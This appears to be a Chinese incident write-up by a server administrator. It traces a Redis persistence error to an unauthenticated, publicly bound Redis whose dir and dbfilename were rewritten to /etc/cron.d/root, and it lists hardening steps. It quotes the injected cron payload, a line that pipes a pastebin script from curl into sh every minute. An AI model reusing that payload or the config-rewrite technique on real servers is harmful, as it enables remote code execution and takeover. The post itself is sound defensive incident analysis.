服务器 redis 被入侵

这几天服务器上的 redis,出现了一个比较严重的问题:

	程序返回错误:
		MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
	
	lavavel 日志中记录:
		Predis\Response\ServerException: MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. in /data/wwwroot/pinxuejianyou/vendor/predis/predis/src/Client.php:365

	意思是:
		redis 中配置了保存 rdb 文件,但是目前不能永久保存到 '硬盘' 上

	问题分析:
		定位到是因为 '权限不足',写入不到硬盘上

		1.查看 redis 配置
			vim /usr/local/redis/etc/redis.conf
			发现 dir 配置为:/usr/local/redis/db/,没问题

		2.查看 redis 运行中配置
			redis-cli
			config get dir 		// rdb 存储目录,居然动态变成了 '/etc/cron.d/'
			config get dbfilename		// rdb 文件名,居然动态变成了 'root'

		3.考虑到 redis 服务,通过 'service redis start' 启动,查看 service redis 启动脚本
			which service				// 获取 service 路径,/usr/sbin/service
			vim /usr/sbin/service 		// 查看 service 文件,看到:SERVICEDIR="/etc/init.d"
			cd /etc/init.d/ 			// 查看各种 service 目录
			vim redis-server 			// 查看 redis-server 启动文件

				/*
					PIDFILE=/var/run/redis.pid
				    touch $PIDFILE
				    chown redis:redis $PIDFILE
				    if start-stop-daemon --start --quiet --pidfile $PIDFILE --chuid redis:redis --exec $DAEMON -- $DAEMON_ARGS
				 */

				/*
					分析:
						start-stop-daemon		// linux 中守护进程启动、停止工具
						--pidfile redis pidfile - /var/run/redis.pid 		// 会覆盖 /usr/local/redis/etc/redis.conf 配置文件中的配置(redis 用户和用户组具有权限)
						--chuid redis:redis		// 以 redis 用户来运行 redis-server 服务
				 */

			结论:
				以 redis 用户来运行的 redis-server 服务,redis 配置的 bind 0.0.0.0,允许所有主机连接,并且未配置密码,导致有恶意用户,连接 redis,通过命令行修改了 'dir' 和 'dbfilename' 的配置,从而进行服务器入侵

				(因 redis 用户,没有 /etc/cron.d/ 写入权限,导致报错!幸好不是以 root 身份运行,如果是的话,应该已经被入侵成功了!)

		4.查看 redis 数据,发现被注入 'nightsoft' => '*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh'
			有兴趣可以看下,看了半天 shell,有点看不懂。应该是可以删除服务器任意文件

		5.解决方法:
			1>切记 redis-server 不要使用 root 身份来运行
			2>禁用远程连接,或者远程连接,设置密码
				bind 127.0.0.1
				requirepass
			3>redis中仍旧保存着线上的数据。挑晚上访问人数少的时候,关闭redis。同时将 被修改的数据库文件 root 重名为 dump.rdb,放到 usr/local/redis/db/,然后再重新启动!
			4>不要忘记删除被注入的 key

		6.参考文章:
			https://github.com/antirez/redis/issues/3594
			https://stackoverflow.com/questions/22160753/redis-failed-opening-rdb-for-saving-permission-denied

			// 这篇文章分析的很透彻,我的 redis 也是非root用户启动
			https://airycanon.me/jie-jue-redis-de-getshell-yin-qi-de-bgsave-cuo-wu/

			配置漏洞之redis未授权访问(非常好)
				https://uknowsec.cn/posts/skill/%E9%85%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E%E4%B9%8Bredis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE.html

			Linux渗透之反弹Shell(非常好)
				http://www.360zhijia.com/360anquanke/185215.html

			netcat - 网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据(非常好)
				https://www.oschina.net/translate/linux-netcat-command/

			redis 文档
				https://redis.io/documentation


猜你喜欢

转载自blog.csdn.net/beyond__devil/article/details/82390820